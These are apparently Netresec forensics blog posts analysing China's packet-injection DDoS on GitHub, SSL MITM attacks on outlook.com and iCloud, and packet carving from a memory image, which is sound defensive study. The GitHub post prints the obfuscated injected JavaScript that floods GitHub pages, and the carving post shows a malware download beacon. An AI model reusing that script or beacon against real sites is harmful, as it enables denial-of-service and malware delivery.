The Network Forensics class consists of a mix of theory and hands-on labs, where students will learn to analyze Full Packet Capture (FPC) files. The scenarios in the labs are primarily focused at network forensics for incident response, but are also relevant for law enforcement/internal security etc. where the network traffic of a suspect or insider is being monitored.

You can find more information about the class here:
http://www.netresec.com/?page=Training

Posted by Erik Hjelmvik on Wednesday, 03 June 2015 21:30:00 (UTC/GMT)

Tags: #Netresec #PCAP #NSM #Network Forensics #Class #Training #SEC-T

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=156A65B


China's Man-on-the-Side Attack on GitHub

GitHub tweeting about DDoS attack

On March 27 The following message was posted on the official GitHub blog:

We are currently experiencing the largest DDoS (distributed denial of service) attack in github.com's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood github.com with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.

We have looked closer at this attack and can conclude that China is using their active and passive network infrastructure in order to perform a packet injection attack, known as a man-on-the-side attack against GitHub. See our "TTL analysis" at the end of this blog post to see how we know this is a Man-on-the-side attack.

In short, this is how this Man-on-the-Side attack is carried out:

  1. An innocent user is browsing the internet from outside China.
  2. One website the user visits loads a JavaScript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).
  3. The web browser's request for the Baidu JavaScript is detected by the Chinese passive infrastructure as it enters China.
  4. A fake response is sent out (3 packets injected) from within China instead of the actual Baidu Analytics script. This fake response is a malicious JavaScript that tells the user's browser to continuously reload two specific pages on GitHub.com.

However, not all users loading JavaScripts from inside China are attacked in this way. Our analysis shows that only about 1% of the requests for the Baidu Analytics script are receiving the malicious JavaScript as response. So in 99% of the cases everything behaves just like normal.

We managed to get a browser to load the malicious JavaScript simply by browsing a few Chinese websites. After the JavaScript loaded we observed the following behavior in our network traffic: CapLoader Gantt chart of traffic generated by the malicious JavaScriptImage: CapLoader Gantt chart of traffic generated by the malicious JavaScript

The script got our browser to connect to github.com (IP address 192.30.252.[128-131]) in an infinite loop.


Baidu Analytics

The Baidu Analytics script can be loaded from URLs like:
http://hm.baidu.com/h.js?0deadbeef000deadbeef000deadbeef0 (normal version)
http://hm.baidu.com/hm.js?0deadbeef000deadbeef000deadbeef0 (asynchronous version)

The proper JavaScript received when requesting such an URL should look like this: Baidu Analytics script in CapLoader Image: CapLoader flow transcript of the Baidu Analytics script

The injected response with the malicious JavaScript looks like this: Malicious JavaScript in CapLoader Image: CapLoader flow transcript of the malicious JavaScript

The injected response is actually exactly the same every time, consisting of three TCP packets with the following payload:

Injected packet #1:

HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130


Injected packet #2:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

Injected packet #3:
t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

The malicious JavaScript is somewhat obfuscated, but some simple deobfuscation leaves us with the following code: Deobfuscated JavaScript

As can be seen in the code, the two targeted URLs are github.com/greatfire and github.com/cn-nytimes, which are mirror sites for GreatFire.org and the Chinese New York Times. GreatFire and NYT both use GitHub to circumvent the online censorship performed by the Great Firewall of China (GFW).


TTL Analysis

Time-To-Live (TTL) analysis is a powerful method that can be used in order to analyze Man-in-the-Middle as well as Man-on-the-Side attacks. We've used this method before when analyzing the Chinese MITM attacks on iCloud, Yahoo, Google and GitHub.

What is interesting with this new attack on GitHub is that the attackers are now trying to make it difficult to locate the injection point of the malicious JavaScript by modifying the IP TTL values of injected packets.

The following Tshark output prints Source-IP, Destination-IP, TCP-Flags and IP-TTL in four columns (comments in yellow):

tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 227 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 228 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 229 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

Notice how the TTL of the SYN+ACK packet from the server is 42, while the three injected packets with payload have TTL values of 227, 228 and 229?

Here is another PCAP file where injected packets have low TTL values:

tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 30 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 31 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 32 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

The server's SYN+ACK packet stays at an IP TTL of 42 pretty much throughout our whole analysis, but the TTL of packets carrying the malicious payload varied between 30 and 229. This behavior implies that the SYN+ACK packet we are seeing is coming from the actual Baidu server, while the packets carrying the malicious payload are injected somewhere else.

As we've mentioned before the three injected packets are always carrying identical payloads and the only thing that changes in between sessions is basically the target TCP port. This further strengthens our assumption that these three packets are being injected. We even tried dropping one of the injected packets and thereby requesting a retransmission of that packet from the server, but we got nothing back. This too is a typical artifact showing that the malicious JavaScript has been delivered through injected packets as part of a Man-on-the-Side attack as opposed to coming from the actual Baidu server.


Additional Sources for the Malicious JS

The Baidu Analytics is not the only script that has been replaced with a malicious one. Users have also reported JavaScript replacements of Baidu Ads as well as several other services. In GreatFire.org's technical analysis of the DDoS attack against them they mention that they have seen JavaScripts being replaced for URLs like:

  • hm.baidu.com/h.js
  • cbjs.baidu.com/js/o.js
  • dup.baidustatic.com/tpl/wh.js
  • dup.baidustatic.com/tpl/ac.js
  • dup.baidustatic.com/painter/clb/fixed7o.js
  • dup.baidustatic.com/painter/clb/fixed7o.js
  • eclick.baidu.com/fp.htm?br= ...
  • pos.baidu.com/acom?adn= ...
  • cpro.baidu.com/cpro/ui/uijs.php?tu=...
  • pos.baidu.com/sync_pos.htm?cproid=...

These domains are all owned by Baidu, but technically any JavaScript from any site in China could have been exploited to perform this sort of packet injection attack.

Great Wall of China by beggs

Conclusions

This attack demonstrates how the vast passive and active network filtering infrastructure in China, known as the Great Firewall of China or "GFW", can be used in order to perform powerful DDoS attacks. Hence, the GFW cannot be considered just a technology for inspecting and censoring the Internet traffic of Chinese citizens, but also a platform for conducting DDoS attacks against targets world wide with help of innocent users visiting Chinese websites.


UPDATE - April 2'nd

Robert Graham of Errata Security has now verified our conclusion, that the attack is coming from China, by performing an "http-traceroute". Robert writes:

Using my custom http-traceroute, I've proven that the man-in-the-middle machine attacking GitHub is located on or near the Great Firewall of China. While many explanations are possible, such as hackers breaking into these machines, the overwhelmingly most likely suspect for the source of the GitHub attacks is the Chinese government.


UPDATE - April 13'th

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert and Vern Paxson have published their research about this new cyber weapon, which they have dubbed the "Great Cannon" (GC). In their blog post they confirm our findings regarding odd TTL values in the injected packets:

The packets injected by the [Great Cannon] also have the same peculiar TTL side-channel as those injected by the GFW, suggesting that both the GFW and the GC likely share some common code.

For more details on the TTL side-channel of the GFW, please read the Usenix FOCI '14 paper Towards a Comprehensive Picture of the Great Firewall’s DNS Censorship.

Even though the authors of the "Great Cannon" blog post claim that GC is not part of GFW they still confirm that they are co-located:

[T]he shared source code and co-location between the GFW and GC suggest that the GC could have been developed within the same institutional framework as the GFW.

They also traced the path to the GFW and GC:

For 115.239.210.141, the GFW and the GC both exist between hop 12 and 13, on the link between 144.232.12.211 and 202.97.33.37, as the traffic enters China Telecom. For 123.125.65.120, the GFW and GC both exist between hop 17 and 18, on the link between 219.158.101.61 and 219.158.101.49, belonging to China Unicom.

This confirms that the GC is located within the same ASN's as where we've previously seen the GFW perform SSL MITM attacks, which is in AS4134 (China Telecom) and AS4837 (China Unicom).

They also published several PCAP files, where they interact with the GFW and GC:


UPDATE - April 25'th

Niels Provos at Google posted an interesting report about the DDoS called A Javascript-based DDoS Attack as seen by Safe Browsing. In the report he shows that the packet injection rate wasn't fixed at 1 percent, it actually reached 17.5 percent for a few days when greatfire.org was being attacked.

GFW packet injections over time. Source: Niels Provos, Google
Image by Niels Provos, at Google

Niels also provided additional details regarding the domains that were spoofed by the GFW to deliver the malicious javascript throug packet injection:

  • cbjs.baidu.com (123.125.65.120)
  • eclick.baidu.com (123.125.115.164)
  • hm.baidu.com (61.135.185.140)
  • pos.baidu.com (115.239.210.141)
  • cpro.baidu.com (115.239.211.17)
  • bdimg.share.baidu.com (211.90.25.48)
  • pan.baidu.com (180.149.132.99)
  • wapbaike.baidu.com (123.125.114.15)

If you would like to learn how to detect and analyze man-on-the-side attacks, then we recommend that you sign up for our two-day Network Forensics Class.

Posted by Erik Hjelmvik on Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

Tags: #GFW #GitHub #China #packet injection #MOTS #MITM #Netresec #PCAP #AS4134 #AS4837

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=153DB4E


Chinese MITM attack on outlook.com

An illustration from supplement to 'Le Petit Journal', 16th January 1898.

We were contacted by GreatFire.org earlier today regarding a new Chinese man-in-the-middle (MITM) attack. This time the perpetrators decrypted traffic between Chinese users and Microsoft's IMAP mail server for outlook.com. As evidence GreatFire.org provided us with a packet capture file, which we have analyzed.

Our conclusion is that this was a real attack on Microsoft's email service. Additionally, the attack is very similar to previous nationwide Chinese attacks on SSL encrypted traffic, such as the attack on Google a few months ago. Details such as email address, email password, email contents, email attachments and contacts may have been compromised in this attack. We do not know the scale of the attack, it could be anything from a fairly targeted attack to a nation wide attack in China. What we do know is that there are several users who have been subjected to the MITM attack and posted screenshots online.

Technical Analysis

Attacked IP Address: 157.56.195.250 (imap-mail.outlook.com)
Attacked Protocol: SSL encryption of IMAPS (TCP 993)
Date of Attack: 2015-01-18
PCAP File: https://www.cloudshark.org/captures/8bf76336e67d

In our technical analysis we first extracted the x509 certificates from the SSL traffic by loading the capture file into NetworkMinerCLI. We then parsed the extracted certificates with OpenSSL.

$ mono /opt/NetworkMinerProfessional_1-6-1/NetworkMinerCLI.exe -r Outlook_MITM_2015-01-18.pcapng
Closing file handles...
84 frames parsed in 0.888754 seconds.
$ ls AssembledFiles/157.56.195.250/TLS_Cert\ -\ TCP\ 993/*.cer
AssembledFiles/157.56.195.250/TLS_Cert - TCP 993/hotmail.com[1].cer
AssembledFiles/157.56.195.250/TLS_Cert - TCP 993/hotmail.com[2].cer
AssembledFiles/157.56.195.250/TLS_Cert - TCP 993/hotmail.com.cer
$ openssl x509 -inform DER -in AssembledFiles/157.56.195.250/TLS_Cert\ -\ TCP\ 993/hotmail.com.cer -noout -issuer -subject -startdate -fingerprint
issuer= /CN=*.hotmail.com
subject= /CN=*.hotmail.com
notBefore=Jan 15 16:00:00 2015 GMT
SHA1 Fingerprint=75:F4:11:59:5F:E9:A2:1A:17:A4:96:7C:7B:66:6E:51:52:79:1A:32

When looking at the timestamps in the capture file we noticed that the SSL server's reply to the 'Client Hello' was very slow; response times varied between 14 and 20 seconds. Under normal circumstances the 'Server Hello' arrives within 0.3 seconds after the 'Client Hello' has been sent.

$ tshark -nr ./Outlook_MITM_2015-01-18.pcapng -Y 'ssl.handshake.type lt 3'
8 9.023876000 10.0.2.15 -> 157.56.195.250 SSL 265 Client Hello
17 26.885504000 157.56.195.250 -> 10.0.2.15 TLSv1 576 Server Hello, Certificate, Server Hello Done
45 101.747755000 10.0.2.15 -> 157.56.195.250 SSL 265 Client Hello
49 116.258483000 157.56.195.250 -> 10.0.2.15 TLSv1 576 Server Hello, Certificate, Server Hello Done
63 116.338420000 10.0.2.15 -> 157.56.195.250 SSL 265 Client Hello
65 136.119127000 157.56.195.250 -> 10.0.2.15 TLSv1 576 Server Hello, Certificate, Server Hello Done
[...]

This is slow SSL response is consistent with previous SSL MITM attacks conducted with support of the Great Firewall of China (GFW).

For more details on this attack, please see the Reuters story "After Gmail blocked in China, Microsoft's Outlook hacked" and GreatFire's own blog post "Outlook grim - Chinese authorities attack Microsoft".

Posted by Erik Hjelmvik on Monday, 19 January 2015 22:55:00 (UTC/GMT)

Tags: #Netresec #PCAP #PCAPNG #GFW #MITM #China #Hotmail #IMAP #SSL

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=151ACA1


Chinese MITM Attack on iCloud

Users in China are reporting a MITM attacks on SSL connections to iCloud.

GreatFire.org, who monitor the Great Firewall of China (GFW), also published a blog post on their website earlier today saying:

This is clearly a malicious attack on Apple in an effort to gain access to usernames and passwords and consequently all data stored on iCloud such as iMessages, photos, contacts, etc.


Fake SSL Certificate

In their blog post GreatFire also linked a packet capture file, which we have analyzed in order to verify the MITM attack. We loaded the PcapNG file into NetworkMiner Professional and extracted the X.509 SSL certificate.

NetworkMiner with fake iCloud certificate

The extracted certificate can be downloaded from here. Also, here are a few details from this X.509 certificate:

$ openssl x509 -inform DER -in www.icloud.com.cer -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/O=www.icloud.com/CN=www.icloud.com
subject= /C=cn/O=www.icloud.com/CN=www.icloud.com
notBefore=Oct 4 10:35:47 2014 GMT
notAfter=Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint=F4:68:B5:F3:FE:D8:07:97:44:76:A2:2B:32:EA:31:37:D9:24:F7:BA

As reported elsewhere, the certificate was self signed, which means that browsers and most iPhone apps will either inform the user about the connection being unsafe or simply close the connection (see update at the bottom of this blog post regarding the missing certificate verification in Apple iOS). This use of self signed certificates is consistent with previous SSL MITM attacks performed in China against GitHub, Google, Yahoo and live.com.


Location of the MITM Attack

By looking at host the information provided by NetworkMiner for the fake iCloud SSL server we can see that it is just six router hops away from the client (having an IP TTL value of 58). This indicates that the MITM attack is being performed within China, since we'd expect to see at least three more router hops if the packets were coming from outside China.

NetworkMiner showing host details for MITM'ed iCloud server

The same PCAP file also contains packets from the same IP address on TCP port 80, which have traveled 11 hops (IP TTL 53). We therefore assume that only traffic to TCP port 443 is being MITM'ed.

This TTL analysis also matches various TCP traceroutes we've seen to the MITM'ed iCloud SSL service on 23.59.94.46:443.

                        My traceroute [v0.85]
siyanmao-k29 (0.0.0.0)                        Sat Oct 18 19:26:07 2014

Host                          Loss% Snt  Last   Avg  Best  Wrst StDev
1. 192.168.1.1                0.0%   17   0.6   0.7   0.6   0.8   0.0
2. -------------              0.0%   16   2.8   2.6   1.7   3.3   0.3
3. -------------              0.0%   16   2.0   2.2   1.4   4.0   0.4
4. ???
5. 119.145.47.78              0.0%   16   6.4   7.7   4.3  27.0   5.2
   183.56.65.54
   183.56.65.50
   119.145.47.74
   121.34.242.250
   121.34.242.138
6. 23.59.94.46               25.0%   16 168.5 171.4 166.8 201.3   9.4
mtr TCP 443 traceroute to 23.59.94.46 (source: http://pastebin.com/8Y6ZwfzG)

The mtr TCP traceroute above indicates that MITM attacks are performed in AS4134 (China Telecom).


bearice@Bearice-Mac-Air-Haswell ~
%tcptraceroute 23.59.94.46 443
Selected device en0, address 192.168.100.16, port 52406 for outgoing packets
Tracing the path to 23.59.94.46 on TCP port 443 (https), 30 hops max
1 192.168.100.254 1.737 ms 0.793 ms 0.798 ms
2 111.192.144.1 2.893 ms 2.967 ms 2.422 ms
3 61.51.246.25 2.913 ms 2.893 ms 3.968 ms
4 124.65.61.157 4.824 ms 2.658 ms 3.902 ms
5 202.96.12.9 3.626 ms 6.532 ms 3.794 ms
6 219.158.96.54 27.539 ms 26.821 ms 27.661 ms
7 a23-59-94-46.deploy.static.akamaitechnologies.com (23.59.94.46) [open] 30.064 ms 29.899 ms 30.126 ms
tcptraceroute to 23.59.94.46 443 (source: bearice on GitHub)

The tcptraceroute above indicates that MITM attacks are also performed in AS4837 (China Unicom).


Tcproute by @chenshaoju
Tcproute traceroute to 23.59.94.46 on TCP 443 (source: @chenshaoju)

The Tcproute screenshot above shows that also CHINANET backbone network (China Telecom) seems to be used to carry out the MITM attacks.

Judging from these TCP traceroutes the MITM attacks seem to be taking place at several different locations rather centrally in the Chinese Internet infrastructure. To be more specific, it appears as if the MITM attacks are being performed on backbone networks belonging to China Telecom (CHINANET) as well as China Unicom.


UPDATE (October 22)

A vulnerability notice (CVE-2014-4449) has now been published, where Apple confirm that fake SSL certificates (like the Chinese fake one) were not verified by Apple iOS before 8.1. Apple released the first details about this vulnerability just a few hours after this blog post was published. Here's the text from the CVE description:

iCloud Data Access in Apple iOS before 8.1 does not verify X.509 certificates from TLS servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
This means that the Chinese MITM of iCloud could potentially have revealed a significant number of iCloud credentials as well as private data (images, videos, documents etc) to the attackers. Or, as @Exploit_This tweeted: "So china wants our nudes?"

Posted by Erik Hjelmvik on Monday, 20 October 2014 13:35:00 (UTC/GMT)

Tags: #Netresec #PCAP #GFW #China #PcapNG #MITM #NetworkMiner #AS4837 #AS4134

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=14AA3E6


NetworkMiner 1.6 Released

We've released version 1.6 of NetworkMiner today!

Confetti in Toronto by Winnie Surya Image credits: Confetti in Toronto by Winnie Surya

The new features in NetworkMiner 1.6 include:

  • Drag-and-Drop
    Reassembled files and images can be opened with external tools by drag-and-dropping items from NetworkMiner's Files or Images tabs onto your favorite editor or viewer.

  • Email extraction
    Improved extraction of emails and attachments sent over SMTP.

  • DNS analysis
    Failed DNS lookups that result in NXDOMAIN and SERVFAIL are displayed in the DNS tab along with the flags in the DNS response.

  • Live sniffing
    Improved live sniffing performance.

  • PCAP-over-IP
    Remote live sniffing enabled by bringing the PCAP-over-IP feature into the free open source version of NetworkMiner.


Identifying Malware DNS lookups

NetworkMiner Professional 1.6 with DNS traffic from the Contagio Kuluoz-Asprox

DNS traffic from the Kuluoz-Asprox botnet (PCAP file available via Contagio)

Note the NXDOMAIN responses and “No” in Alexa top 1 million column in the screenshot above; these domains are probably generated by a domain generation algorithm (DGA).

Live Sniffing with Pcap-over-IP

The PCAP-over-IP functionality enables live sniffing also on non-Windows machines, simply by running tcpdump (or dumpcap) and netcat like this:

# tcpdump -i eth0 -s0 -U -w - | nc localhost 57012
For more information about how to run NetworkMiner in Linux, please read our HowTo install NetworkMiner in Ubuntu Fedora and Arch Linux blog post.

To receive the Pcap-over-IP stream in NetworkMiner, simply press Ctrl+R and select a TCP port.

NetworkMiner Pcap-over-IP

For more information about this feature please see our previous blog post about the PCAP‑over‑IP feature.

NetworkMiner Professional

The professional version of NetworkMiner additionally contains the following improvements of the command line tool NetworkMinerCLI:

  • Enabled reading of PCAP and PcapNG data from standard input (STDIN)
  • Full support for PCAP-over-IP
  • More detailed DNS logging in NetworkMinerCLI's CSV export of DNS responses

The ability to read PCAP data from STDIN with NetworkMinerCLI makes it really simple to do live extraction of emails and email attachments. Here's an example showing how to do live SMTP extraction in Linux:

# tcpdump -i eth0 -s0 -w - port 25 or 587 | mono NetworkMinerCLI.exe -r - -w /var/log/smtp_extraction/

The syntax for extracting emails and attachments in Windows is very similar:

C:\>dumpcap.exe -i 1 -f "port 25 or 587" -w - | NetworkMinerCLI.exe -r -

The TCP ports 25 and 587, which are used in the capture filter above, are the standard port numbers for SMTP. In order to do live extraction of files sent over HTTP, simply use “port 80” as capture filter instead. Likewise, X.509 certificates can also be extracted from HTTPS sessions simply by using “port 443” as capture filter.

Download NetworkMiner 1.6

The most recent release of the free (open source) version of NetworkMiner can be downloaded from SourceForge or our NetworkMiner product page. Paying customers can download an update for NetworkMiner Professional from our customer portal.

Credits

We would like to thank Dan Eriksson (FM CERT) and Lenny Hansson (Danish GovCERT) for submitting bug reports and feature requests.

Posted by Erik Hjelmvik on Monday, 16 June 2014 11:00:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #Professional #SMTP #Extract #DNS #PCAP-over-IP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1463B56


Carving Network Packets from Memory Dump Files

Hattori Hanzo by Stefan Ledwina A new feature in the recently released CapLoader 1.2 is the ability to carve network packets from any file and save them in the PCAP-NG format. This fusion between memory forensics and network forensics makes it possible to extract sent and received IP frames, with complete payload, from RAM dumps as well as from raw disk images.

CapLoader will basically carve any TCP or UDP packet that is preceded by an IP frame (both IPv4 and IPv6 are supported), and believe me; there are quite a few such packets in a normal memory image!

We've made the packet carver feature available in the free version of CapLoader, so feel free to give it a try!

The packet carving feature makes it possible do much better analysis of network traffic in memory dumps compared to Volatility's connscan2. With Volatility you basically get the IP addresses and port numbers that communicated, but with CapLoader's packet carver you also get the contents of the communication!

Modern depiction of ninja with ninjato (ninja sword), Edo wonderland, Japan

EXAMPLE: Honeynet Banking Troubles Image

I loaded the publicly available “Banking Troubles” memory image from the Honeynet Project into CapLoader to exemplify the packet carver's usefulness in a digital forensics / incident response (DFIR) scenario.

CapLoader 1.2 Carving Packets from HoneyNet Memory Image
CapLoader 1.2 Carving Packets from HoneyNet Memory Image

CapLoader 1.2 Finished Carving Packets from HoneyNet Memory Image
22 TCP/UDP Flows were carved from the memory image by CapLoader

Let's look at the network traffic information that was extracted in the Honeynet Project's own solution for the Banking Troubles Challenge:

python volatility connscan2 -f images/hn_forensics.vmem"
Local Address Remote Address Pid
------------------------- ------------------------- ------
192.168.0.176:1176 212.150.164.203:80 888
192.168.0.176:1189 192.168.0.1:9393 1244
192.168.0.176:2869 192.168.0.1:30379 1244
192.168.0.176:2869 192.168.0.1:30380 4
0.0.0.0:0 80.206.204.129:0 0
127.0.0.1:1168 127.0.0.1:1169 888
192.168.0.176:1172 66.249.91.104:80 888
127.0.0.1:1169 127.0.0.1:1168 888
192.168.0.176:1171 66.249.90.104:80 888
192.168.0.176:1178 212.150.164.203:80 1752
192.168.0.176:1184 193.104.22.71:80 880
192.168.0.176:1185 193.104.22.71:80 880

[...]

"This connection [marked in bold above] was opened by AcroRd32.exe (PID 1752) and this represents an additional clue that an Adobe Reader exploit was used in order to download and execute a malware sample."

The solution doesn't provide any evidence regarding what Acrobat Reader actually used the TCP connection for. Additionally, none of the three finalists managed to prove what was sent over this connection.

To view the payload of this TCP connection in CapLoader, I simply right-clicked the corresponding row and selected “Flow Transcript”.

Transcript of TCP flow contents in CapLoader
Transcript of TCP flow contents (much like Wireshark's Follow-TCP-Stream)

We can see that the following was sent from 192.168.0.176 to 212.150.164.203:

GET /load.php?a=a&st=Internet%20Explorer%206.0&e=2 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: search-network-plus.com
Connection: Keep-Alive

Notice that the HTTP GET request took place at the end of the TCP session. Odd? Well, CapLoader doesn't know the timestamp of carved packets, so they are simply ordered as they were discovered in the dump file. The timestamp generated for each carved packet represents where in the image/dump the packet was found. Or more precise: the number of microseconds since EPOCH (1970-01-01 00:00:00) is the offset (in bytes) from where the packet was carved.

Hence, we know that the HTTP GET request can be found between offset 37068800 and 37507072 in the image (a 428 kB region). To be more exact we can open the generated PcapNG file with Wireshark or Tshark to get the timestamp and length of the actual HTTP GET request packet.

tshark.exe -r Bob.vmem.pcapng" -R http.request -T fields -e frame.time_epoch -e frame.len -e http.request.uri
31.900664000 175 *
37.457920000 175 *
37.462016000 286 /load.php?a=a&st=Internet%20Explorer%206.0&e=2
37.509120000 175 *
37.519360000 245 /~produkt/983745213424/34650798253
37.552128000 266 /root.sxml
37.570560000 265 /l3fw.xml
37.591040000 274 /WANCommonIFC1.xml
37.607424000 271 /WANIPConn1.xml

Now, lets verify that the raw packet data is actually 37462016 bytes into the memory dump.

xxd -s 37462016 -l 286 Bob.vmem
23ba000: 0021 9101 b248 000c 2920 d71e 0800 4500 .!...H..) ....E.
23ba010: 0110 3113 4000 8006 8e1a c0a8 00b0 d496 ..1.@...........
23ba020: a4cb 049a 0050 7799 0550 f33b 7886 5018 .....Pw..P.;x.P.
23ba030: faf0 227e 0000 4745 5420 2f6c 6f61 642e .."~..GET /load.
23ba040: 7068 703f 613d 6126 7374 3d49 6e74 6572 php?a=a&st=Inter
23ba050: 6e65 7425 3230 4578 706c 6f72 6572 2532 net%20Explorer%2
23ba060: 3036 2e30 2665 3d32 2048 5454 502f 312e 06.0&e=2 HTTP/1.
23ba070: 310d 0a41 6363 6570 743a 202a 2f2a 0d0a 1..Accept: */*..
23ba080: 4163 6365 7074 2d45 6e63 6f64 696e 673a Accept-Encoding:
23ba090: 2067 7a69 702c 2064 6566 6c61 7465 0d0a gzip, deflate..
23ba0a0: 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 User-Agent: Mozi
23ba0b0: 6c6c 612f 342e 3020 2863 6f6d 7061 7469 lla/4.0 (compati
23ba0c0: 626c 653b 204d 5349 4520 362e 303b 2057 ble; MSIE 6.0; W
23ba0d0: 696e 646f 7773 204e 5420 352e 313b 2053 indows NT 5.1; S
23ba0e0: 5631 290d 0a48 6f73 743a 2073 6561 7263 V1)..Host: searc
23ba0f0: 682d 6e65 7477 6f72 6b2d 706c 7573 2e63 h-network-plus.c
23ba100: 6f6d 0d0a 436f 6e6e 6563 7469 6f6e 3a20 om..Connection:
23ba110: 4b65 6570 2d41 6c69 7665 0d0a 0d0a Keep-Alive....
Yep, that's our HTTP GET packet preceded by an Ethernet, IP and TCP header.

Ninja Training by Danny Choo

Give it a Try!

Wanna verify the packet carving functionality? Well, that's easy! Just follow these three steps:

  1. Download a sample memory image (thanks for the great resource Volatility Team!)
     OR
    Download the free RAM dumper DumpIt and dump your own computer's memory.
     OR
    Locate an existing file that already contains parts of your RAM, such as pagefile.sys or hiberfil.sys

  2. Download the free version of CapLoader and open the memory dump.

  3. Select destination for the generated PcapNG file with carved packets and hit the “Carve” button!

Illangam fighting scene with swords and shields at korathota angampora tradition

Carving Packets from Proprietary and odd Capture Formats

CapLoader can parse PCAP and PcapNG files, which are the two most widely used packet capture formats. However, the packet carving features makes it possible to extract packets from pretty much any capture format, including proprietary ones. The drawback is that timestamp information will be lost.

We have successfully verified that CapLaoder can carve packets from the following network packet capture / network trace file formats:

  • .ETL files created with netsh or logman. These Event Trace Log files can be created without having WinPcap installed.
  • .CAP files created with Microsoft Network Monitor
  • .ENC files (NA Sniffer) from IBM ISS products like the Proventia IPS (as well as Robert Graham's old BlackICE)
  • .ERF files from Endace probes

Posted by Erik Hjelmvik on Monday, 17 March 2014 10:05:00 (UTC/GMT)

Tags: #Netresec #PCAP #memory #dump #forensics #DFIR #CapLoader #PcapNG

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=143B7EE


Command-line Forensics of hacked PHP.net

Update: October 29

@StopMalvertisin recently published a great blog post that covered the five binaries that were served with help of the PHP.net compromise. We've therefore updated this blog post with a few of their findings in order to give a more complete picture of the events.

LSI and Monitor playing KALISCOP by DanCentury

The good people from Barracuda Labs were kind enough to share a PCAP file from the PHP.net compromize on their blog.

I decided to have a closer look at that PCAP file to see what can be extracted from it. Since the PCAP contains Windows malware I played safe and did all the analysis on a Linux machine with no Internet connectivity.

For no particluar reason I also decided to do all the analysis without any GUI tools. Old skool ;)

 

~/Desktop$ capinfos barracuda.pcap
File name:           barracuda.pcap
File type:           Wireshark/tcpdump/... - libpcap
File encapsulation:  Ethernet
Number of packets:   1403
File size:           1256656 bytes
Data size:           1234184 bytes
Capture duration:    125 seconds
Start time:          Tue Oct 22 19:27:36 2013
End time:            Tue Oct 22 19:29:41 2013
Data byte rate:      9897.42 bytes/sec
Data bit rate:       79179.33 bits/sec
Average packet size: 879.67 bytes
Average packet rate: 11.25 packets/sec

